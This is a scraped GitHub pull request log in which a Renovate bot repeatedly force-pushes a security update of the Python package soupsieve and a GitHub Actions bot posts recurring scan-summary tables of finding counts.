renovate Bot force-pushed the renovate/pypi-soupsieve-vulnerability branch 8 times, most recently from bda35c0 to ebacf39 Compare August 24, 2026 02:06
@renovate
renovate Bot force-pushed the renovate/pypi-soupsieve-vulnerability branch from ebacf39 to d2966aa Compare August 24, 2026 06:16
@renovate
renovate Bot force-pushed the renovate/pypi-soupsieve-vulnerability branch 3 times, most recently from e3ff031 to 36e19c9 Compare September 1, 2026 10:56

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Scan Summary

Tool Critical High Medium Low Status
Dependency Scan (universal) 3 13 7 1
Python Source Analyzer 0 0 0 0
Kotlin Static Analysis 0 0 0 0
Security Audit for Infrastructure 14 92 8 32
Shell Script Analysis 0 0 0 195
Kotlin Security Audit 0 0 0 0
Secrets Audit 0 4 0 0

Recommendation

Please review the findings from Code scanning alerts before approving this pull request. You can also configure the build rules or add suppressions to customize this bot 👍

@renovate
renovate Bot force-pushed the renovate/pypi-soupsieve-vulnerability branch from 36e19c9 to ab14ba2 Compare September 2, 2026 09:12

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Scan Summary

Tool Critical High Medium Low Status
Dependency Scan (universal) 4 13 8 0
Python Source Analyzer 0 0 0 0
Kotlin Static Analysis 0 0 0 0
Security Audit for Infrastructure 14 92 8 32
Shell Script Analysis 0 0 0 195
Kotlin Security Audit 0 0 0 0
Secrets Audit 0 4 0 0

Recommendation

Please review the findings from Code scanning alerts before approving this pull request. You can also configure the build rules or add suppressions to customize this bot 👍

@renovate
renovate Bot force-pushed the renovate/pypi-soupsieve-vulnerability branch from ab14ba2 to 026880d Compare September 4, 2026 09:01

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Scan Summary

Tool Critical High Medium Low Status
Dependency Scan (universal) 2 6 8 0
Shell Script Analysis 0 0 0 195
Python Source Analyzer 0 0 0 0
Security Audit for Infrastructure 14 92 8 32
Secrets Audit 0 4 0 0
Kotlin Security Audit 0 0 0 0
Kotlin Static Analysis 0 0 0 0

Recommendation

Please review the findings from Code scanning alerts before approving this pull request. You can also configure the build rules or add suppressions to customize this bot 👍

@renovate
renovate Bot force-pushed the renovate/pypi-soupsieve-vulnerability branch 6 times, most recently from 7a65f8f to c5deff7 Compare September 10, 2026 09:48

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Scan Summary

Tool Critical High Medium Low Status
Dependency Scan (universal) 3 16 10 0
Shell Script Analysis 0 0 0 195
Python Source Analyzer 0 0 0 0
Security Audit for Infrastructure 14 92 8 32
Secrets Audit 0 4 0 0
Kotlin Security Audit 0 0 0 0
Kotlin Static Analysis 0 0 0 0

Recommendation

Please review the findings from Code scanning alerts before approving this pull request. You can also configure the build rules or add suppressions to customize this bot 👍

@renovate
renovate Bot force-pushed the renovate/pypi-soupsieve-vulnerability branch from c5deff7 to 9a39834 Compare September 11, 2026 11:34

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Scan Summary

Tool Critical High Medium Low Status
Dependency Scan (universal) 2 11 9 0
Shell Script Analysis 0 0 0 195
Python Source Analyzer 0 0 0 0
Security Audit for Infrastructure 14 92 8 32
Secrets Audit 0 4 0 0
Kotlin Security Audit 0 0 0 0
Kotlin Static Analysis 0 0 0 0

Recommendation

Please review the findings from Code scanning alerts before approving this pull request. You can also configure the build rules or add suppressions to customize this bot 👍

@renovate
renovate Bot force-pushed the renovate/pypi-soupsieve-vulnerability branch from 9a39834 to ba4ca30 Compare September 12, 2026 05:24

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Scan Summary

Tool Critical High Medium Low Status
Dependency Scan (universal) 2 8 7 0
Shell Script Analysis 0 0 0 195
Python Source Analyzer 0 0 0 0
Security Audit for Infrastructure 14 92 8 32
Secrets Audit 0 4 0 0
Kotlin Security Audit 0 0 0 0
Kotlin Static Analysis 0 0 0 0

Recommendation

Please review the findings from Code scanning alerts before approving this pull request. You can also configure the build rules or add suppressions to customize this bot 👍

@renovate
renovate Bot force-pushed the renovate/pypi-soupsieve-vulnerability branch 3 times, most recently from ebe4585 to 0bd8647 Compare September 15, 2026 05:52

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Scan Summary

Tool Critical High Medium Low Status
Dependency Scan (universal) 2 7 6 0
Shell Script Analysis 0 0 0 195
Python Source Analyzer 0 0 0 0
Security Audit for Infrastructure 14 92 8 32
Secrets Audit 0 4 0 0
Kotlin Security Audit 0 0 0 0
Kotlin Static Analysis 0 0 0 0

Recommendation

Please review the findings from Code scanning alerts before approving this pull request. You can also configure the build rules or add suppressions to customize this bot 👍

@renovate
renovate Bot force-pushed the renovate/pypi-soupsieve-vulnerability branch 2 times, most recently from 3b22b02 to 4566c32 Compare September 17, 2026 18:56

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Scan Summary

Tool Critical High Medium Low Status
Dependency Scan (universal) 2 6 7 0
Shell Script Analysis 0 0 0 195
Python Source Analyzer 0 0 0 0
Security Audit for Infrastructure 14 92 8 32
Secrets Audit 0 4 0 0
Kotlin Security Audit 0 0 0 0
Kotlin Static Analysis 0 0 0 0

Recommendation

Please review the findings from Code scanning alerts before approving this pull request. You can also configure the build rules or add suppressions to customize this bot 👍

Signed-off-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
@renovate
renovate Bot force-pushed the renovate/pypi-soupsieve-vulnerability branch from 4566c32 to f76160c Compare September 17, 2026 23:32
@renovate renovate Bot changed the title ⬆️ Updates soupsieve to v2.8.4 [SECURITY] ⬆️ Updates soupsieve to v2.9 [SECURITY] Sep 17, 2026

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Scan Summary

Tool Critical High Medium Low Status
Dependency Scan (universal) 2 7 9 0
Shell Script Analysis 0 0 0 195
Python Source Analyzer 0 0 0 0
Security Audit for Infrastructure 14 92 8 32
Secrets Audit 0 4 0 0
Kotlin Security Audit 0 0 0 0
Kotlin Static Analysis 0 0 0 0

Recommendation

Please review the findings from Code scanning alerts before approving this pull request. You can also configure the build rules or add suppressions to customize this bot 👍

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants